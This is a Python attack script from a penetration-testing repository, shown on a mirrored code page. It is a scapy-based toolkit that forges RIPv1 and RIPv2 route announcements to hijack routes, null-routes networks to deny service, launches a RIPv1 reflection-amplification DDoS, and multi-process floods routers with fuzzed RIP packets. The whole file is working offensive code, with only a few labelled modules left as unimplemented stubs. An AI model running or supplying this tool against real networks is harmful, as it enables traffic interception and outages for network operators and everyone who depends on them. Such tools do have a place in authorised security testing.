mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-12-18 23:25:06 +01:00
806 lines
26 KiB
Python
806 lines
26 KiB
Python
|
#!/usr/bin/python
|
||
|
|
||
|
#
|
||
|
# Currently implemented attacks:
|
||
|
# - sniffer - (NOT YET IMPLEMENTED) Sniffer hunting for authentication strings
|
||
|
# - ripv1-route - Spoofed RIPv1 Route Announcements
|
||
|
# - ripv1-dos - RIPv1 Denial of Service via Null-Routing
|
||
|
# - ripv1-ampl - RIPv1 Reflection Amplification DDoS
|
||
|
# - ripv2-route - Spoofed RIPv2 Route Announcements
|
||
|
# - ripv2-dos - RIPv2 Denial of Service via Null-Routing
|
||
|
# - rip-fuzzer - RIPv1/RIPv2 protocol fuzzer, covering RIPAuth and RIPEntry structures fuzzing
|
||
|
#
|
||
|
# Python requirements:
|
||
|
# - scapy
|
||
|
#
|
||
|
# Mariusz B. / mgeeky, '19, <mb@binary-offensive.com>
|
||
|
#
|
||
|
|
||
|
import sys
|
||
|
import socket
|
||
|
import fcntl
|
||
|
import struct
|
||
|
import string
|
||
|
import random
|
||
|
import commands
|
||
|
import argparse
|
||
|
import multiprocessing
|
||
|
|
||
|
try:
|
||
|
from scapy.all import *
|
||
|
except ImportError:
|
||
|
print('[!] Scapy required: pip install scapy')
|
||
|
sys.exit(1)
|
||
|
|
||
|
VERSION = '0.1'
|
||
|
|
||
|
config = {
|
||
|
'verbose' : False,
|
||
|
'debug' : False,
|
||
|
'delay' : 1.0,
|
||
|
'interface': None,
|
||
|
'processors' : 8,
|
||
|
|
||
|
'network': '',
|
||
|
'spoof': '',
|
||
|
'nexthop': '',
|
||
|
'netmask': '',
|
||
|
'metric': 0,
|
||
|
|
||
|
'auth-type': '',
|
||
|
'auth-data': '',
|
||
|
}
|
||
|
|
||
|
attacks = {}
|
||
|
stopThreads = False
|
||
|
|
||
|
|
||
|
#
|
||
|
# ===============================================
|
||
|
#
|
||
|
|
||
|
def flooder(num, packets):
|
||
|
Logger.dbg('Starting task: {}, packets num: {}'.format(num, len(packets)))
|
||
|
|
||
|
for p in packets:
|
||
|
if stopThreads: break
|
||
|
try:
|
||
|
if stopThreads:
|
||
|
raise KeyboardInterrupt
|
||
|
|
||
|
sendp(p, verbose = False)
|
||
|
|
||
|
if len(p) < 1500:
|
||
|
Logger.dbg("Sent: \n" + str(p))
|
||
|
|
||
|
except KeyboardInterrupt:
|
||
|
break
|
||
|
except Exception as e:
|
||
|
pass
|
||
|
|
||
|
Logger.dbg('Stopping task: {}'.format(num))
|
||
|
|
||
|
class Logger:
|
||
|
@staticmethod
|
||
|
def _out(x):
|
||
|
if config['verbose'] or config['debug']:
|
||
|
sys.stdout.write(x + '\n')
|
||
|
|
||
|
@staticmethod
|
||
|
def out(x):
|
||
|
Logger._out('[.] ' + x)
|
||
|
|
||
|
@staticmethod
|
||
|
def info(x):
|
||
|
Logger._out('[.] ' + x)
|
||
|
|
||
|
@staticmethod
|
||
|
def dbg(x):
|
||
|
if config['debug']:
|
||
|
Logger._out('[dbg] ' + x)
|
||
|
|
||
|
@staticmethod
|
||
|
def err(x):
|
||
|
sys.stdout.write('[!] ' + x + '\n')
|
||
|
|
||
|
@staticmethod
|
||
|
def fail(x):
|
||
|
Logger._out('[-] ' + x)
|
||
|
|
||
|
@staticmethod
|
||
|
def ok(x):
|
||
|
Logger._out('[+] ' + x)
|
||
|
|
||
|
# Well, not very fuzzy that fuzzer I know.
|
||
|
class Fuzzer:
|
||
|
@staticmethod
|
||
|
def get8bitFuzzes():
|
||
|
out = set()
|
||
|
for i in range(9):
|
||
|
out.add(2 ** i - 1)
|
||
|
out.add(2 ** i - 2)
|
||
|
out.add(2 ** i)
|
||
|
out.add(2 ** i + 1)
|
||
|
#out.add(2 ** i + 2)
|
||
|
return [k for k in out if abs(k) < 2**8]
|
||
|
|
||
|
@staticmethod
|
||
|
def get16bitFuzzes():
|
||
|
out = set()
|
||
|
for i in range(17):
|
||
|
out.add(2 ** i - 1)
|
||
|
out.add(2 ** i - 2)
|
||
|
out.add(2 ** i)
|
||
|
out.add(2 ** i + 1)
|
||
|
#out.add(2 ** i + 2)
|
||
|
return [k for k in out if abs(k) < 2**16]
|
||
|
|
||
|
@staticmethod
|
||
|
def get32bitFuzzes():
|
||
|
out = set()
|
||
|
for i in range(33):
|
||
|
out.add(2 ** i - 1)
|
||
|
out.add(2 ** i - 2)
|
||
|
out.add(2 ** i)
|
||
|
out.add(2 ** i + 1)
|
||
|
#out.add(2 ** i + 2)
|
||
|
return [k for k in out if abs(k) < 2**32]
|
||
|
|
||
|
@staticmethod
|
||
|
def deBrujinPattern(length):
|
||
|
if length == 0: return ''
|
||
|
|
||
|
if length >= 20280:
|
||
|
out = ''
|
||
|
out += Fuzzer.deBrujinPattern(20280 - 1)
|
||
|
out += "A" * (length - 20280 - 1)
|
||
|
return out
|
||
|
|
||
|
pattern = ''
|
||
|
for upper in string.ascii_uppercase:
|
||
|
for lower in string.ascii_lowercase:
|
||
|
for digit in string.digits:
|
||
|
if len(pattern) < length:
|
||
|
pattern += upper + lower + digit
|
||
|
else:
|
||
|
out = pattern[:length]
|
||
|
return out
|
||
|
return pattern
|
||
|
|
||
|
@staticmethod
|
||
|
def getFuzzyStrings(maxLen = -1, allOfThem = True):
|
||
|
out = set()
|
||
|
for b in Fuzzer.get16bitFuzzes():
|
||
|
out.add(Fuzzer.deBrujinPattern(b))
|
||
|
|
||
|
if allOfThem:
|
||
|
for b in range(0, 65400, 256):
|
||
|
if maxLen != -1 and b > maxLen: break
|
||
|
out.add(Fuzzer.deBrujinPattern(b))
|
||
|
|
||
|
if maxLen != -1:
|
||
|
return set([x for x in out if len(x) <= maxLen])
|
||
|
|
||
|
return out
|
||
|
|
||
|
@staticmethod
|
||
|
def get32bitProblematicPowersOf2():
|
||
|
return Fuzzer.get32bitFuzzes()
|
||
|
|
||
|
class RoutingAttack:
|
||
|
def __init__(self):
|
||
|
pass
|
||
|
|
||
|
def injectOptions(self, params, config):
|
||
|
pass
|
||
|
|
||
|
def launch(self):
|
||
|
pass
|
||
|
|
||
|
class Sniffer(RoutingAttack):
|
||
|
def __init__(self):
|
||
|
pass
|
||
|
|
||
|
def injectOptions(self, params, config):
|
||
|
self.config = config
|
||
|
self.config.update(params)
|
||
|
|
||
|
def processPacket(pkt):
|
||
|
# TODO
|
||
|
raise Exception('Not yet implemented.')
|
||
|
|
||
|
def launch(self):
|
||
|
# TODO
|
||
|
raise Exception('Not yet implemented.')
|
||
|
|
||
|
def packetCallback(d):
|
||
|
self.processPacket(d)
|
||
|
|
||
|
try:
|
||
|
pkts = sniff(
|
||
|
count = 1000,
|
||
|
filter = 'udp port 520',
|
||
|
timeout = 10.0,
|
||
|
prn = packetCallback,
|
||
|
iface = self.config['interface']
|
||
|
)
|
||
|
except Exception as e:
|
||
|
if 'Network is down' in str(e):
|
||
|
pass
|
||
|
else:
|
||
|
Logger.err('Exception occured during sniffing: {}'.format(str(e)))
|
||
|
except KeyboardInterrupt:
|
||
|
pass
|
||
|
|
||
|
|
||
|
class RIPv1v2Attacks(RoutingAttack):
|
||
|
ripAuthTypes = {
|
||
|
'simple' : 2, 'md5' : 3, 'md5authdata': 1
|
||
|
}
|
||
|
|
||
|
def __init__(self):
|
||
|
self.config = {
|
||
|
'interface' : '',
|
||
|
'delay': 1,
|
||
|
'network' : '',
|
||
|
'metric' : 10,
|
||
|
'netmask' : '255.255.255.0',
|
||
|
'nexthop' : '0.0.0.0',
|
||
|
'spoof' : '',
|
||
|
'version' : 0,
|
||
|
}
|
||
|
|
||
|
@staticmethod
|
||
|
def getRipAuth(config):
|
||
|
ripauth = RIPAuth()
|
||
|
|
||
|
ripauth.authtype = RIPv1v2Attacks.ripAuthTypes[config['auth-type']]
|
||
|
if ripauth.authtype == 2:
|
||
|
ripauth.password = config['auth-data']
|
||
|
elif ripauth.authtype == 1:
|
||
|
ripauth.authdata = config['auth-data']
|
||
|
elif ripauth.authtype == 3:
|
||
|
ripauth.digestoffset = 0
|
||
|
ripauth.keyid = 0
|
||
|
ripauth.authdatalen = len(config['auth-data'])
|
||
|
ripauth.seqnum = 0
|
||
|
|
||
|
return ripauth
|
||
|
|
||
|
def injectOptions(self, params, config):
|
||
|
self.config = config
|
||
|
self.config.update(params)
|
||
|
|
||
|
Logger.info("Fake Route Announcement to be injected:")
|
||
|
Logger.info("\tNetwork: {}".format(config['network']))
|
||
|
Logger.info("\tNetmask: {}".format(config['netmask']))
|
||
|
Logger.info("\tNexthop: {}".format(config['nexthop']))
|
||
|
Logger.info("\tMetric: {}".format(config['metric']))
|
||
|
|
||
|
if not config['network'] or not config['netmask'] \
|
||
|
or not config['nexthop'] or not config['metric']:
|
||
|
Logger.err("Module needs following options to operate: network, netmask, nexthop, metric")
|
||
|
return False
|
||
|
|
||
|
if params['version'] != 1 and params['version'] != 2:
|
||
|
Logger.err("RIP protocol version must be either 1 or 2 as passed in attacks params!")
|
||
|
return False
|
||
|
|
||
|
return True
|
||
|
|
||
|
def launch(self):
|
||
|
packet = self.getPacket()
|
||
|
Logger.info("Sending RIPv{} Spoofed Route Announcements...".format(self.config['version']))
|
||
|
sendp(packet, loop = 1, inter = self.config['delay'], iface = config['interface'])
|
||
|
|
||
|
def getPacket(self):
|
||
|
networkToAnnounce = self.config['network']
|
||
|
metricToAnnounce = self.config['metric']
|
||
|
netmaskToAnnounce = self.config['netmask']
|
||
|
nexthopToAnnounce = self.config['nexthop']
|
||
|
spoofedIp = self.config['spoof']
|
||
|
|
||
|
etherframe = Ether() # Start definition of Ethernet Frame
|
||
|
|
||
|
ip = IP() # IPv4 packet
|
||
|
|
||
|
udp = UDP()
|
||
|
udp.sport = 520 # According to RFC1058, 520/UDP port must be used for solicited communication
|
||
|
udp.dport = 520
|
||
|
|
||
|
rip = RIP()
|
||
|
|
||
|
ripentry = RIPEntry() # Announced route
|
||
|
ripentry.AF = "IP" # Address Family: IP
|
||
|
|
||
|
if 'AF' in self.config.keys():
|
||
|
ripentry.AF = self.config['AF']
|
||
|
|
||
|
ripentry.addr = networkToAnnounce # Spoof route for this network...
|
||
|
ripentry.metric = metricToAnnounce
|
||
|
|
||
|
if self.config['version'] == 1:
|
||
|
ip.dst = '255.255.255.255' # RIPv1 broadcast destination
|
||
|
etherframe.dst = 'ff:ff:ff:ff:ff:ff'
|
||
|
|
||
|
rip.version = 1 # RIPv1
|
||
|
rip.cmd = 2 # Command: Response
|
||
|
|
||
|
elif self.config['version'] == 2:
|
||
|
ip.dst = '224.0.0.9' # RIPv2 multicast destination
|
||
|
|
||
|
rip.version = 2 # RIPv2
|
||
|
rip.cmd = 2 # Command: Response
|
||
|
ripentry.RouteTag = 0
|
||
|
ripentry.mask = netmaskToAnnounce
|
||
|
ripentry.nextHop = nexthopToAnnounce # ... to be going through this next hop device.
|
||
|
|
||
|
if 'rip_cmd' in self.config.keys():
|
||
|
rip.cmd = self.config['rip_cmd']
|
||
|
|
||
|
if not self.config['auth-type']:
|
||
|
rip_packet = etherframe / ip / udp / rip / ripentry
|
||
|
else:
|
||
|
ripauth = RIPv1v2Attacks.getRipAuth(self.config)
|
||
|
Logger.info('Using RIPv2 authentication: type={}, pass="{}"'.format(
|
||
|
self.config['auth-type'], self.config['auth-data']
|
||
|
))
|
||
|
rip_packet = etherframe / ip / udp / rip / ripauth / ripentry
|
||
|
|
||
|
rip_packet[IP].src = spoofedIp
|
||
|
return rip_packet
|
||
|
|
||
|
class RIPFuzzer(RoutingAttack):
|
||
|
ripCommands = (
|
||
|
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11
|
||
|
)
|
||
|
|
||
|
def __init__(self):
|
||
|
self.config = {
|
||
|
'interface' : '',
|
||
|
'network' : '192.168.1.0',
|
||
|
'metric' : 10,
|
||
|
'netmask' : '255.255.255.0',
|
||
|
'nexthop' : '0.0.0.0',
|
||
|
'spoof' : '',
|
||
|
}
|
||
|
|
||
|
def injectOptions(self, params, config):
|
||
|
self.config = config
|
||
|
self.params = params
|
||
|
|
||
|
return True
|
||
|
|
||
|
def launch(self):
|
||
|
packets = set()
|
||
|
Logger.info("Generating fuzzed packets for RIPv1...")
|
||
|
packets.update(self.generateRipv1Packets())
|
||
|
|
||
|
Logger.info("Generating fuzzed packets for RIPv2...")
|
||
|
packets.update(self.generateRipv2Packets())
|
||
|
|
||
|
Logger.info("Collected in total {} packets to send. Sending them out...".format(len(packets)))
|
||
|
|
||
|
packetsLists = [[] for x in range(self.config['processors'])]
|
||
|
packetsList = list(packets)
|
||
|
for i in range(len(packetsList)):
|
||
|
packetsLists[i % config['processors']].append(packetsList[i])
|
||
|
|
||
|
jobs = []
|
||
|
|
||
|
for i in range(config['processors']):
|
||
|
task = multiprocessing.Process(target = flooder, args = (i, packetsLists[i]))
|
||
|
jobs.append(task)
|
||
|
task.daemon = True
|
||
|
task.start()
|
||
|
|
||
|
print('[+] Started flooding. Press CTRL-C to stop that.')
|
||
|
try:
|
||
|
while jobs:
|
||
|
jobs = [job for job in jobs if job.is_alive()]
|
||
|
except KeyboardInterrupt:
|
||
|
stopThreads = True
|
||
|
print('\n[>] Stopping...')
|
||
|
|
||
|
stopThreads = True
|
||
|
time.sleep(3)
|
||
|
|
||
|
Logger.ok("Fuzzing finished. Sent around {} packets.".format(len(packets)))
|
||
|
|
||
|
|
||
|
def generateRipv1Packets(self):
|
||
|
packets = set()
|
||
|
base = Ether(dst = 'ff:ff:ff:ff:ff:ff') / IP(dst = '255.255.255.255') / UDP(sport = 520, dport = 520)
|
||
|
|
||
|
# Step 1: Fuzz on Command values.
|
||
|
for val in set(RIPFuzzer.ripCommands + tuple(Fuzzer.get8bitFuzzes())):
|
||
|
rip = RIP(version = 1, cmd = val)
|
||
|
packets.add(base / rip)
|
||
|
packets.add(base / rip / RIPEntry() )
|
||
|
|
||
|
# Step 1b: Fuzz on Command values with packet filled up with data
|
||
|
for val in set(RIPFuzzer.ripCommands + tuple(Fuzzer.get8bitFuzzes())):
|
||
|
rip = RIP(version = 1, cmd = val)
|
||
|
|
||
|
for data in Fuzzer.getFuzzyStrings():
|
||
|
if not data: data = ''
|
||
|
packets.add(base / rip / data)
|
||
|
packets.add(base / rip / RIPEntry() / data)
|
||
|
|
||
|
# Step 2: Fuzz on Response RIPEntry AF values.
|
||
|
for val in set(Fuzzer.get8bitFuzzes()):
|
||
|
rip = RIP(version = 1, cmd = 2)
|
||
|
packets.add(base / rip / RIPEntry(AF = val) )
|
||
|
|
||
|
# Step 3: Fuzz on Response RIPEntry RouteTag values.
|
||
|
for val in set(Fuzzer.get8bitFuzzes()):
|
||
|
rip = RIP(version = 1, cmd = 2)
|
||
|
packets.add(base / rip / RIPEntry(RouteTag = val) )
|
||
|
|
||
|
# Step 4: Fuzz on Response RIPEntry metric values.
|
||
|
for val in set(Fuzzer.get8bitFuzzes()):
|
||
|
rip = RIP(version = 1, cmd = 2)
|
||
|
packets.add(base / rip / RIPEntry(metric = val) )
|
||
|
|
||
|
# Step 5: Add multiple RIPEntry structures
|
||
|
for num in Fuzzer.get32bitProblematicPowersOf2():
|
||
|
rip = RIP(version = 1, cmd = 2)
|
||
|
entries = []
|
||
|
try:
|
||
|
ipv4 = socket.inet_ntoa(struct.pack('!L', num))
|
||
|
except:
|
||
|
ipv4 = '127.0.0.2'
|
||
|
|
||
|
if (num * 20) > 2 ** 16:
|
||
|
break
|
||
|
|
||
|
for i in range(num):
|
||
|
entries.append(RIPEntry(addr = ipv4))
|
||
|
|
||
|
packets.add(base / rip / ''.join([str(x) for x in entries]))
|
||
|
|
||
|
return packets
|
||
|
|
||
|
def generateRipv2Packets(self):
|
||
|
packets = set()
|
||
|
base = Ether() / IP(src = self.config['spoof'], dst = '224.0.0.9') / UDP(sport = 520, dport = 520)
|
||
|
|
||
|
# Step 1: Fuzz on Command values.
|
||
|
for val in set(RIPFuzzer.ripCommands + tuple(Fuzzer.get8bitFuzzes())):
|
||
|
rip = RIP(version = 2, cmd = val)
|
||
|
packets.add(base / rip)
|
||
|
packets.add(base / rip / RIPEntry() )
|
||
|
|
||
|
# Step 1b: Fuzz on Command values with packet filled up with data
|
||
|
for val in set(RIPFuzzer.ripCommands + tuple(Fuzzer.get8bitFuzzes())):
|
||
|
rip = RIP(version = 2, cmd = val)
|
||
|
|
||
|
for data in Fuzzer.getFuzzyStrings():
|
||
|
if not data: data = ''
|
||
|
packets.add(base / rip / data)
|
||
|
packets.add(base / rip / RIPEntry() / data)
|
||
|
|
||
|
# Step 2: Fuzz on Version values.
|
||
|
for val in set(Fuzzer.get8bitFuzzes()):
|
||
|
rip = RIP(version = val, cmd = 1)
|
||
|
packets.add(base / rip)
|
||
|
packets.add(base / rip / RIPEntry() )
|
||
|
|
||
|
# Step 3: Fuzz on Authentication data values.
|
||
|
for val in set(Fuzzer.get8bitFuzzes()):
|
||
|
rip = RIP(version = val, cmd = 1)
|
||
|
for auth in RIPFuzzer.fuzzRipv2Auth():
|
||
|
packets.add(base / rip / auth )
|
||
|
packets.add(base / rip / auth / RIPEntry() )
|
||
|
|
||
|
# Step 4: Fuzz on Response RIPEntry AF values.
|
||
|
for val in set(Fuzzer.get8bitFuzzes()):
|
||
|
rip = RIP(version = 2, cmd = 2)
|
||
|
packets.add(base / rip / RIPEntry(AF = val) )
|
||
|
|
||
|
# Step 5: Fuzz on Response RIPEntry RouteTag values.
|
||
|
for val in set(Fuzzer.get8bitFuzzes()):
|
||
|
rip = RIP(version = 2, cmd = 2)
|
||
|
packets.add(base / rip / RIPEntry(RouteTag = val) )
|
||
|
|
||
|
# Step 6: Fuzz on Response RIPEntry metric values.
|
||
|
for val in set(Fuzzer.get8bitFuzzes()):
|
||
|
rip = RIP(version = 2, cmd = 2)
|
||
|
packets.add(base / rip / RIPEntry(metric = val) )
|
||
|
|
||
|
# Step 7: Add multiple RIPEntry structures
|
||
|
for num in Fuzzer.get32bitProblematicPowersOf2():
|
||
|
rip = RIP(version = 2, cmd = 2)
|
||
|
entries = []
|
||
|
try:
|
||
|
ipv4 = socket.inet_ntoa(struct.pack('!L', num))
|
||
|
except:
|
||
|
ipv4 = '127.0.0.2'
|
||
|
|
||
|
if (num * 20) > 2 ** 16:
|
||
|
break
|
||
|
|
||
|
for i in range(num):
|
||
|
entries.append(RIPEntry(addr = ipv4))
|
||
|
|
||
|
packets.add(base / rip / ''.join([str(x) for x in entries]))
|
||
|
|
||
|
return packets
|
||
|
|
||
|
@staticmethod
|
||
|
def fuzzRipv2Auth():
|
||
|
auths = set()
|
||
|
|
||
|
# Step 1: Fuzz on RIPAuth authtype.
|
||
|
for val in set(Fuzzer.get8bitFuzzes()):
|
||
|
ripauth = RIPAuth()
|
||
|
ripauth.authtype = val
|
||
|
ripauth.password = '0123456789abcdef'
|
||
|
auths.add(ripauth)
|
||
|
|
||
|
# Step 2: Fuzz on RIPAuth md5authdata structure's digestoffset.
|
||
|
for val in set(Fuzzer.get16bitFuzzes()):
|
||
|
ripauth = RIPAuth()
|
||
|
ripauth.authtype = 1
|
||
|
ripauth.digestoffset = val
|
||
|
ripauth.keyid = 0
|
||
|
ripauth.authdatalen = '\x01\x02\x03\x04\x05\x06\x07\x08'
|
||
|
ripauth.seqnum = 0
|
||
|
auths.add(ripauth)
|
||
|
|
||
|
# Step 3: Fuzz on RIPAuth md5authdata structure's keyid.
|
||
|
for val in set(Fuzzer.get8bitFuzzes()):
|
||
|
ripauth = RIPAuth()
|
||
|
ripauth.authtype = 1
|
||
|
ripauth.digestoffset = 0
|
||
|
ripauth.keyid = val
|
||
|
ripauth.authdatalen = '\x01\x02\x03\x04\x05\x06\x07\x08'
|
||
|
ripauth.seqnum = 0
|
||
|
auths.add(ripauth)
|
||
|
|
||
|
# Step 4: Fuzz on RIPAuth md5authdata structure's seqnum.
|
||
|
for val in set(Fuzzer.get8bitFuzzes()):
|
||
|
ripauth = RIPAuth()
|
||
|
ripauth.authtype = 1
|
||
|
ripauth.digestoffset = 0
|
||
|
ripauth.keyid = 0
|
||
|
ripauth.authdatalen = '\x01\x02\x03\x04\x05\x06\x07\x08'
|
||
|
ripauth.seqnum = val
|
||
|
auths.add(ripauth)
|
||
|
|
||
|
# Step 5: Fuzz on RIPAuth md5authdata structure's authdatalen.
|
||
|
for val in set(Fuzzer.getFuzzyStrings(maxLen = 16, allOfThem = False)):
|
||
|
ripauth = RIPAuth()
|
||
|
ripauth.authtype = 1
|
||
|
ripauth.digestoffset = 0
|
||
|
ripauth.keyid = 0
|
||
|
ripauth.authdatalen = val
|
||
|
ripauth.seqnum = 0
|
||
|
auths.add(ripauth)
|
||
|
|
||
|
return auths
|
||
|
|
||
|
|
||
|
def getHwAddr(ifname):
|
||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||
|
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15]))
|
||
|
return ':'.join(['%02x' % ord(char) for char in info[18:24]])
|
||
|
|
||
|
def getIfaceIP(iface):
|
||
|
out = shell("ip addr show " + iface + " | grep 'inet ' | awk '{print $2}' | head -1 | cut -d/ -f1")
|
||
|
Logger.dbg('Interface: {} has IP: {}'.format(iface, out))
|
||
|
return out
|
||
|
|
||
|
def shell(cmd):
|
||
|
out = commands.getstatusoutput(cmd)[1]
|
||
|
Logger.dbg('shell("{}") returned:\n"{}"'.format(cmd, out))
|
||
|
return out
|
||
|
|
||
|
def selectDefaultInterface():
|
||
|
global config
|
||
|
commands = {
|
||
|
'ip' : "ip route show | grep default | awk '{print $5}' | head -1",
|
||
|
'ifconfig': "route -n | grep 0.0.0.0 | grep 'UG' | awk '{print $8}' | head -1",
|
||
|
}
|
||
|
|
||
|
for k, v in commands.items():
|
||
|
out = shell(v)
|
||
|
if len(out) > 0:
|
||
|
Logger.dbg('Default interface lookup command returned:\n{}'.format(out))
|
||
|
config['interface'] = out
|
||
|
return out
|
||
|
|
||
|
return ''
|
||
|
|
||
|
def parseOptions(argv):
|
||
|
global config
|
||
|
|
||
|
print('''
|
||
|
:: Routing Protocols Exploitation toolkit
|
||
|
Sends out various routing protocols management frames
|
||
|
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
|
||
|
v{}
|
||
|
'''.format(VERSION))
|
||
|
|
||
|
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')
|
||
|
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
|
||
|
parser.add_argument('-D', '--debug', action='store_true', help='Display debug output.')
|
||
|
parser.add_argument('-d', '--delay', type=float, default=1.0, help='Delay in seconds (float) between sending consecutive packets. Default: 1 second. Not applies to fuzzers.')
|
||
|
parser.add_argument('-t', '--attack', metavar='ATTACK', default='', help='Select attack to launch. One can use: "-t list" to list available attacks.')
|
||
|
parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.')
|
||
|
parser.add_argument('-s', '--spoof', help = 'IP address to be used as a spoofed/fake gateway, e.g. Attacker machine address. By default will try to figure out that address automatically.', default='')
|
||
|
|
||
|
auth = parser.add_argument_group('Routing Protocol Authentication', 'Specifies authentication data for Routing protocol to use')
|
||
|
auth.add_argument('--auth-type', help = 'Authentication type. Can be one of following: "simple", "md5authdata", "md5". Applies only to authentication-capable protocols, like RIPv2', default='')
|
||
|
auth.add_argument('--auth-data', help = 'Password / authentication data to pass in every packet. This field depends on the "--auth-type" used.', default='')
|
||
|
|
||
|
route = parser.add_argument_group('Spoofed Route injection', 'Specifies fake route details to inject')
|
||
|
route.add_argument('-a', '--network', help = 'IP address of network to announce, can be paired with netmask in CIDR notation. One can use "default" for 0.0.0.0')
|
||
|
route.add_argument('-b', '--netmask', help = 'Netmask to use (can be inferred from "--network". Default: /24', default='255.255.255.0')
|
||
|
route.add_argument('-c', '--nexthop', help = 'Spoofed next hop address. Default: 0.0.0.0.', default = '0.0.0.0')
|
||
|
route.add_argument('-m', '--metric', help = 'Metric to be used. The lower the greater priority it gets. Default: 10', type=int, default='10')
|
||
|
|
||
|
args = parser.parse_args()
|
||
|
|
||
|
if not 'attack' in args:
|
||
|
Logger.err('You must specify an attack to launch!')
|
||
|
return False
|
||
|
|
||
|
if args.attack == 'list':
|
||
|
print("Available attacks:")
|
||
|
for a in attacks:
|
||
|
print("\t{}. '{}' - {}".format(a['num'], a['name'], a['desc']))
|
||
|
sys.exit(0)
|
||
|
|
||
|
else:
|
||
|
att = args.attack
|
||
|
try:
|
||
|
att = int(att)
|
||
|
except: pass
|
||
|
|
||
|
for a in attacks:
|
||
|
if att == a['num'] or att == a['name']:
|
||
|
config['attack'] = a
|
||
|
break
|
||
|
|
||
|
if 'attack' not in config or not config['attack']:
|
||
|
Logger.err("Selected attack is not implemented or wrongly stated.")
|
||
|
parser.print_help()
|
||
|
return False
|
||
|
|
||
|
config['verbose'] = args.verbose
|
||
|
config['debug'] = args.debug
|
||
|
config['delay'] = args.delay
|
||
|
|
||
|
if args.interface != '': config['interface'] = args.interface
|
||
|
else: config['interface'] = selectDefaultInterface()
|
||
|
|
||
|
if args.network != '': config['network'] = args.network
|
||
|
|
||
|
if args.spoof != '': config['spoof'] = args.spoof
|
||
|
else: config['spoof'] = getIfaceIP(config['interface'])
|
||
|
|
||
|
Logger.info("Using {} as local/spoof IP address".format(config['spoof']))
|
||
|
|
||
|
if args.netmask != '': config['netmask'] = args.netmask
|
||
|
if args.nexthop != '': config['nexthop'] = args.nexthop
|
||
|
if args.metric != '': config['metric'] = args.metric
|
||
|
|
||
|
if args.auth_type != '': config['auth-type'] = args.auth_type
|
||
|
if args.auth_data != '': config['auth-data'] = args.auth_data
|
||
|
|
||
|
if config['auth-type'] != '':
|
||
|
if config['auth-data'] == '':
|
||
|
Logger.err("You must specify authentication data along with the --auth-type.")
|
||
|
return False
|
||
|
|
||
|
config['auth-type'] = args.auth_type
|
||
|
config['auth-data'] = args.auth_data
|
||
|
|
||
|
return args
|
||
|
|
||
|
def main(argv):
|
||
|
global attacks
|
||
|
attacks = (
|
||
|
{
|
||
|
'num': 0,
|
||
|
'name': 'sniffer',
|
||
|
'desc': '(NOT YET IMPLEMENTED) Sniffer hunting for authentication strings.',
|
||
|
'object': Sniffer,
|
||
|
'params': {
|
||
|
}
|
||
|
},
|
||
|
{
|
||
|
'num': 1,
|
||
|
'name': 'ripv1-route',
|
||
|
'desc': 'RIP Spoofed Route announcement',
|
||
|
'object': RIPv1v2Attacks,
|
||
|
'params': {
|
||
|
'version' : 1,
|
||
|
}
|
||
|
},
|
||
|
{
|
||
|
'num': 2,
|
||
|
'name': 'ripv1-dos',
|
||
|
'desc': 'RIPv1 Denial of Service by Null-routing',
|
||
|
'object': RIPv1v2Attacks,
|
||
|
'params': {
|
||
|
'version' : 1,
|
||
|
'delay' : 1,
|
||
|
'network': '0.0.0.0',
|
||
|
'metric': 1
|
||
|
}
|
||
|
},
|
||
|
{
|
||
|
'num': 3,
|
||
|
'name': 'ripv1-ampl',
|
||
|
'desc': 'RIPv1 Reflection Amplification DDoS',
|
||
|
'object': RIPv1v2Attacks,
|
||
|
'params': {
|
||
|
'version' : 1,
|
||
|
'delay' : 0.5,
|
||
|
'network': '0.0.0.0',
|
||
|
'netmask': '0.0.0.0',
|
||
|
'nexthop': '0.0.0.1',
|
||
|
'metric': 1,
|
||
|
'AF': 0, # Unspecified
|
||
|
'rip_cmd': 1, # Request
|
||
|
}
|
||
|
},
|
||
|
{
|
||
|
'num': 4,
|
||
|
'name': 'ripv2-route',
|
||
|
'desc': 'RIPv2 Spoofed Route announcement',
|
||
|
'object': RIPv1v2Attacks,
|
||
|
'params': {
|
||
|
'version' : 2,
|
||
|
}
|
||
|
},
|
||
|
{
|
||
|
'num': 5,
|
||
|
'name': 'ripv2-dos',
|
||
|
'desc': 'RIPv2 Denial of Service by Null-routing',
|
||
|
'object': RIPv1v2Attacks,
|
||
|
'params': {
|
||
|
'version' : 2,
|
||
|
'delay' : 1,
|
||
|
'network': '0.0.0.0',
|
||
|
'netmask': '0.0.0.0',
|
||
|
'nexthop': '0.0.0.1',
|
||
|
'metric': 1
|
||
|
}
|
||
|
},
|
||
|
{
|
||
|
'num': 6,
|
||
|
'name': 'rip-fuzzer',
|
||
|
'desc': 'RIP/RIPv2 packets fuzzer',
|
||
|
'object': RIPFuzzer,
|
||
|
'params': {
|
||
|
}
|
||
|
},
|
||
|
)
|
||
|
|
||
|
opts = parseOptions(argv)
|
||
|
if not opts:
|
||
|
Logger.err('Options parsing failed.')
|
||
|
return False
|
||
|
|
||
|
if os.getuid() != 0:
|
||
|
Logger.err('This program must be run as root.')
|
||
|
return False
|
||
|
|
||
|
load_contrib('ospf')
|
||
|
load_contrib('eigrp')
|
||
|
load_contrib('bgp')
|
||
|
|
||
|
attack = config['attack']['object']()
|
||
|
print("[+] Launching attack: {}".format(config['attack']['desc']))
|
||
|
if attack.injectOptions(config['attack']['params'], config):
|
||
|
attack.launch()
|
||
|
|
||
|
else:
|
||
|
Logger.err("Module prerequisite options were not passed correctly.")
|
||
|
|
||
|
if __name__ == '__main__':
|
||
|
main(sys.argv)
|